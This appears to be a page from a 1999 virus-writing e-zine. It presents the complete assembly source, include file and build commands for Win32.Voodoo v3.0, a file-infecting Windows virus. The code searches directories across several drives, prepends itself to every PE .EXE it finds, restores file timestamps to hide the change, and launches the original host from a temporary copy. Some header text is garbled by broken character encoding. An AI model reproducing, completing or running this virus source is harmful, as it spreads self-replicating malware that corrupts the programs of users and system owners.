- [Duke's Virus Labs #8] - [Page 13] -

Win32.Voodoo aka Voodoo v3.0
(c) by Voodoo/SMF

     : Voodoo v3.0  (  䨪樨 :)
         : Voodoo/SMF
 ண.   : TASM
 ᮧ : 30.07.1999
 AV    : none
ࠦ      : PE-EXE
    : none

     蠣  WIN32API.
 E-mail voodoo_imishli@mail.ru.  ࠤ  
⨪, , 砭, .
P.S.    ᠫ    32 ! ;)

COMPILATION:
  tasm32 /ml /m3 wvoodoo.asm,,;
  tlink32 /Tpe /aa /c /v wvoodoo.obj,,, import32.lib,

===== begin wvoodoo.asm =====
.386p
.model flat
include wvoodoo.inc ; ᠭ 
.DATA
mask        db '*.EXE',0
Dirmask     db '*.*',0
disk        db 'c:\',0
str_        db 'Magic People-Voodoo People !'
DiskCount EQU  4
VIRUSSIZE EQU 7045 ; ࠧ EXE 䠩   ᥬ 堬
.DATA?
ProcessInfo       dd 4 dup (?)
ExitCode          dd ?
HhendleOfFile     dd ?
HhendleOfFile2    dd ?
HhendleOfMapFile  dd ?
Pointer2MapFile   dd ?
FileSize          dd ?
tag               db ?
I_am              db ?
NumberOfBytesRead dd ?
parameters        DD ?
startInfo         dd 17  dup (?)
CommandLine       dd 200 dup (?)
Win32FindData     dd 11   dup (?)
CreationTime   equ offset Win32FindData+4
LastAccessTime equ offset CreationTime+4
LastWriteTime equ  offset LastAccessTime+4
files             dd 200 dup (?)
buf               db VIRUSSIZE    dup (?)
SearcHandle       dd ?
SearcHandle2      dd ?
CurDir            dd 200 dup (?)
CurDir2           dd 200 dup (?)
.CODE
Voodoo_Ver_3_0:
        ;-- Paluchim Command line ---
        push offset startInfo
        call GetStartupInfoA
        call    GetCommandLineA
        mov esi,eax
        cmp byte ptr [esi+1],':' ;for win9x
        je NormalCommandLine
        inc eax
NormalCommandLine:
        push    eax
        push    offset CommandLine
        call    lstrcpyA
         mov  esi,offset CommandLine
@L1:     inc esi
         cmp byte ptr [esi],'.'
         jne @L1
         mov byte ptr [esi+4],0
         mov parameters,esi
         push NULL
         push  FILE_ATTRIBUTE_ARCHIVE
         push OPEN_EXISTING
         push NULL
         push FILE_SHARE_READ ;or FILE_SHARE_WRITE
         push GENERIC_READ ;or GENERIC_WRITE
         push offset CommandLine
         call CreateFileA
         mov  HhendleOfFile,eax
          push eax
          push NULL
          push offset NumberOfBytesRead
          push VIRUSSIZE
          push offset buf
          push eax
          call ReadFile
          pop eax
          push NULL
          push eax
          call GetFileSize
          mov FileSize,eax
          cmp eax,VIRUSSIZE
          je ITS_ME
          ; Create New Map File
         mov esi,parameters
         MOV DWORD ptr [esi],04d4f432eh
         cmp DWORD ptr [esi+5],024242424h
         je DellTempFile
         push NULL
         push FILE_ATTRIBUTE_ARCHIVE        ;
         push OPEN_ALWAYS
         push NULL
         push FILE_SHARE_READ or FILE_SHARE_WRITE
         push GENERIC_READ or GENERIC_WRITE ;
         push offset CommandLine            ;
         call CreateFileA
         mov  HhendleOfFile2,eax ;save HhendleOfFile to use
         push NULL
         push dword ptr FileSize ; size of file mapping
         push NULL
         push PAGE_READWRITE
         push NULL
         push dword ptr [HhendleOfFile2]
         call CreateFileMappingA
         mov HhendleOfMapFile,eax

         push dword ptr FileSize
         push 0
         push 0
         push FILE_MAP_WRITE
         push eax   ;HhendleOfMapFile
         call MapViewOfFile
         mov  Pointer2MapFile,eax
         ; read real programm
           push NULL
           push offset NumberOfBytesRead
           push dword ptr FileSize
           push eax    ;Pointer2MapFile
           push dword ptr HhendleOfFile
           call ReadFile
         push NULL
         push dword ptr Pointer2MapFile
         call FlushViewOfFile
         Push Pointer2MapFile
         call UnmapViewOfFile
         push dword ptr  HhendleOfMapFile
         call CloseHandle
         push  dword ptr HhendleOfFile2
         call CloseHandle
         ; Exec real programm
         push offset ProcessInfo
         push offset startInfo
         push NULL
         push NULL
         push NORMAL_PRIORITY_CLASS
         push NULL
         push NULL
         push NULL
         MOV ESI,parameters
         mov byte ptr [ESI+4],20h
         push offset CommandLine
         push  NULL
         call CreateProcessA
         jmp L1
ITS_ME:  mov byte ptr I_am,1
L1:      push dword ptr [HhendleOfFile]
         call CloseHandle
         call Infect
ExitFromProc:  cmp byte ptr I_am,1
               je ExitPr
WaitForProcessExit:
               push offset ExitCode
               push dword ptr [ProcessInfo]   ;ProcessHendle
               call GetExitCodeProcess
               cmp dword ptr [ExitCode],0
               je DellBakcapFile
              jmp WaitForProcessExit
DellBakcapFile:
        ; Exec programm2DelCom
         push offset ProcessInfo
         push offset startInfo
         push NULL
         push NULL
         push NORMAL_PRIORITY_CLASS
         push NULL
         push NULL
         push NULL
         MOV ESI,parameters
         mov byte  ptr [ESI+4],20h
         mov dword ptr [ESI],04558452eh
         mov dword ptr [ESI+5],024242424h
         push offset CommandLine
         push  NULL ;offset CommandLine
         call CreateProcessA
ExitPr:  push 0
         call ExitProcess
DellTempFile:push offset CommandLine
             call DeleteFileA
            jmp ExitPr
Infect:
        push  offset CurDir
        push  800
        call GetCurrentDirectoryA
        call InfectDir
        mov ecx,DiskCount
Scan:   push ecx
        push offset disk
        call SetCurrentDirectoryA
        call InfectDir
        inc byte ptr disk
        pop ecx
        loop Scan
        push offset CurDir
        call SetCurrentDirectoryA
        jmp l2
Exit_ : ret
InfectDir:
        push  offset CurDir2
        push  800
        call GetCurrentDirectoryA

        push    offset Win32FindData
        push    offset Dirmask
        call    FindFirstFileA
        mov  dword ptr [SearcHandle],eax
 l2:    push    offset Win32FindData
        push    dword ptr [SearcHandle]
        call    FindNextFileA
        or eax,eax
        jz ExitFromProcInfectDir
        cmp byte ptr [files],'.'
        je  l2
        mov eax,[Win32FindData]
        and eax,FILE_ATTRIBUTE_DIRECTORY
        jz l2
        ;set new dir
        push offset CurDir2
        call SetCurrentDirectoryA
        push offset files
        call SetCurrentDirectoryA
        push    offset Win32FindData
        push    offset mask
        call    FindFirstFileA
        mov     dword ptr [SearcHandle2],eax
        cmp     eax,-1
        je     l2
Next:    or eax,eax
         jz  l2
        call Infect_File
        push    offset Win32FindData
        push    dword ptr [SearcHandle2]
        call    FindNextFileA
        jmp    Next
ExitFromProcInfectDir:
        ret
Infect_File:
         push 00000020h
         push offset files
         call SetFileAttributesA
         push NULL
         push FILE_ATTRIBUTE_ARCHIVE
         push OPEN_EXISTING
         push NULL
         push  FILE_SHARE_READ or FILE_SHARE_WRITE
         push GENERIC_READ or GENERIC_WRITE
         push offset files
         call CreateFileA
         CMP eax,-1
         je error
         mov HhendleOfFile,eax ;save HhendleOfFile to use

         push NULL
         push eax
         call GetFileSize
         mov FileSize,eax
Point@ret:
         push eax ; to MApViewofFile
         push NULL
         push eax
         push NULL
         push PAGE_READWRITE
         push NULL
         push dword ptr [HhendleOfFile]
         call CreateFileMappingA
         mov HhendleOfMapFile,eax
         ; v steke Size
         push 0
         push 0
         push FILE_MAP_WRITE
         push eax
         call MapViewOfFile
         cmp byte ptr tag,1
         je  OkOb
         mov esi,eax
         mov edi,dword ptr [esi+3ch]
         cmp dword ptr [esi+edi],00004550h ;PE Only !
         jne  OOO
         cmp dword ptr [esi+6fh],334e4957h ;'WIN3'  Infected ?
         je  OOO
         call CloseMapping
         mov byte ptr tag,1
         mov eax,dword ptr FileSize
         add eax,VIRUSSIZE
         jmp Point@ret
OkOb:    mov byte ptr tag,0
         mov Pointer2MapFile,eax
         push edi
         push esi
         push ecx
         pushf
         add eax,dword ptr FileSize
         add eax,VIRUSSIZE -1
         mov edi,eax
         mov esi,dword ptr Pointer2MapFile
         add esi,dword ptr FileSize
         mov ecx,dword ptr FileSize ;size of exe file
         DEC ESI
         std
         rep movsb
         mov edi,dword ptr Pointer2MapFile
         xor eax,eax
         mov ecx,VIRUSSIZE
         cld
         rep
         STOSB
         mov edi,dword ptr Pointer2MapFile
         mov esi,offset buf
         mov ecx,VIRUSSIZE
         cld
         rep movsb
         popf
         pop ecx
         pop esi
         pop edi
 OOO:
        call CloseMapping
        push LastWriteTime
        push LastAccessTime
        push CreationTime
        push dword ptr HhendleOfFile
        call  SetFileTime
        push  dword ptr HhendleOfFile
        call CloseHandle
error:   push dword ptr Win32FindData
         push offset files
         call SetFileAttributesA
         ret
CloseMapping:
         push Pointer2MapFile
         call UnmapViewOfFile
         push dword ptr  HhendleOfMapFile
         call CloseHandle
         ret
enddatt:
Ends
End Voodoo_Ver_3_0
===== end   wvoodoo.asm =====

===== begin wvoodoo.inc =====
NULL = 0
; GlobalAlloc flags
GMEM_FIXED      =   0000h
GMEM_MOVEABLE   =   0002h
GMEM_NOCOMPACT  =   0010h
GMEM_NODISCARD  =   0020h
GMEM_ZEROINIT   =   0040h
GMEM_MODIFY     =   0080h
GMEM_DISCARDABLE=   0100h
GMEM_NOT_BANKED =   1000h
GMEM_DDESHARE   =   2000h
GMEM_SHARE      =   2000h
GMEM_NOTIFY     =   4000h
GMEM_LOWER      =   GMEM_NOT_BANKED
GHND            =   GMEM_MOVEABLE+GMEM_ZEROINIT
GPTR            =   GMEM_FIXED+GMEM_ZEROINIT
;-----------
 FILE_ATTRIBUTE_READONLY     =    00000001h
 FILE_ATTRIBUTE_HIDDEN       =    00000002h
 FILE_ATTRIBUTE_SYSTEM       =    00000004h
 FILE_ATTRIBUTE_DIRECTORY    =    00000010h
 FILE_ATTRIBUTE_ARCHIVE      =    00000020h
 FILE_ATTRIBUTE_NORMAL       =    00000080h
 FILE_ATTRIBUTE_TEMPORARY    =    00000100h
;-----------
FILE_FLAG_WRITE_THROUGH         = 80000000h
FILE_FLAG_OVERLAPPED            = 40000000h
FILE_FLAG_NO_BUFFERING          = 20000000h
FILE_FLAG_RANDOM_ACCESS         = 10000000h
FILE_FLAG_SEQUENTIAL_SCAN       = 08000000h
FILE_FLAG_DELETE_ON_CLOSE       = 4000000h
FILE_FLAG_BACKUP_SEMANTICS      = 02000000h
FILE_FLAG_POSIX_SEMANTICS       = 01000000h

;------------------------
CREATE_NEW         = 1
CREATE_ALWAYS      = 2
OPEN_EXISTING      = 3
OPEN_ALWAYS        = 4
TRUNCATE_EXISTING  = 5

;-----------
GENERIC_READ               = 80000000h
GENERIC_WRITE              = 40000000h
FILE_SHARE_READ            = 00000001h
FILE_SHARE_WRITE           = 00000002h
;-----------
 PAGE_NOACCESS          = 01h
 PAGE_READONLY          = 02h
 PAGE_READWRITE         = 04h
 PAGE_WRITECOPY         = 08h
 PAGE_EXECUTE           = 10h
 PAGE_EXECUTE_READ      = 20h
 PAGE_EXECUTE_READWRITE = 40h
 PAGE_EXECUTE_WRITECOPY = 80h
 PAGE_GUARD             = 100h
 PAGE_NOCACHE           = 200h
;-------------------
FILE_MAP_WRITE = 2
FILE_MAP_Read  = 4
;-------------------
 NORMAL_PRIORITY_CLASS      = 00000020h
 IDLE_PRIORITY_CLASS        = 00000040h
 HIGH_PRIORITY_CLASS        = 00000080h
 REALTIME_PRIORITY_CLASS    = 00000100h
;--------------------
EXCEPTION_DEBUG_EVENT      = 1
CREATE_THREAD_DEBUG_EVENT  = 2
CREATE_PROCESS_DEBUG_EVENT = 3
EXIT_THREAD_DEBUG_EVENT    = 4
EXIT_PROCESS_DEBUG_EVENT   = 5
LOAD_DLL_DEBUG_EVENT       = 6
UNLOAD_DLL_DEBUG_EVENT     = 7
OUTPUT_DEBUG_STRING_EVENT  = 8
RIP_EVENT                  = 9
;--------------------
PROCESS_ALL_ACCESS  =   0F0000h or 00100000h or 0FFFh
;--------------------
locals
        extrn   ExitProcess:PROC
        extrn   GetProcAddress:PROC
        extrn   GetModuleHandleA:PROC
        extrn   MessageBoxA:PROC
        extrn   GlobalAlloc:PROC ; retern HGLOBAL
                ; UINT Flags  object allocation attributes
                ; DWORD dwBytes mumber of bytes to allocate
        extrn   GlobalLock:PROC ;Pointer to mem
                ; HGLOBAL hMem address of global memory object
        extrn   GlobalUnlock:PROC
                ; HGLOBAL hMem address of global memory object
        extrn   GlobalFree:PROC
                ;HGlobal hMem handle to the global memory object
     ;---- file mapping --------------------------------------
      extrn CreateFileA:PROC
     ;Retern HANDLE
     ;Parametrs:    LPCTSTR :LpFileName
     ;              DWORD   :dwDesiredAccess (read-write)
     ;              DWORD   : dwShareMode
     ; LPSECURITY_ATTRIBTES :LpSecurityAttrib address of security descriptor
     ;              DWORD   :dwCreationDistribution //how to creat
     ;              DWORD   :dwFlagsAndAttributes
     ;             HANDLE   :hTemplateFile //handle of file with attrib to copy
     extrn CreateFileMappingA:PROC
     ;Retern HANDLE
     ; PARAMMETRS    HANDLE :hfile    //handle of file map
     ;  LpSecurity_Attributes LpFileMappingAttributes //optional security attrib
     ;  Dword  :flProtect
     ;  Dword  :dwMaxSizeHigh
     ;  Dword  :dwMaxSizeLow
     ; LPCTSTR :lpName //name of file-mapping object
     extrn MapViewOfFile:PROC ;(hFileMappingObject:HANDLE,
                              ;  dwDesiredAccess:dw,
                              ;  dwFileOffsetHigh,
                              ;  dwFileOffsetLow,
                              ;  dwNumberOfBytesToMap)
     ;
     ;
     ;
     extrn UnmapViewOfFile:PROC
     extrn CloseHandle:PROC
     extrn FlushViewOfFile:PROC;(LpBaseAddress,dwNumberOfBytesToFlush)
    ;--------------------------------------------------------
     extrn GetFileSize:PROC ; (hFile,LPDWORD LpFileSizeHigh)
     extrn CopyFileA:PROC ;(LpExistingFileName,LpNewFileName)
     extrn ReadFile:PROC  ;(hFile,LpBuffer,nMumberOfBytesToRead,
     ;                    LpNumberOfBytesRead,LpOverlapped)
     extrn DeleteFileA    :PROC;(LpFileName)
 ;   extrn GetLastError  :PROC;
     extrn CreateProcessA:PROC;
     extrn GetStartupInfoA:PROC;
     extrn GetCommandLineA:PROC;
     extrn lstrcpyA:PROC;
     extrn   FindFirstFileA:PROC
     extrn   FindNextFileA:PROC
     extrn   Sleep:PROC ;(dwMilliseconds)
     extrn SetFileAttributesA:PROC;(LpFileName,dwFileAttributes)
     extrn SetFileTime:PROC;
     extrn SetCurrentDirectoryA:PROC;
     extrn GetCurrentDirectoryA:PROC;
     extrn GetExitCodeProcess:PROC;
===== end   wvoodoo.inc =====
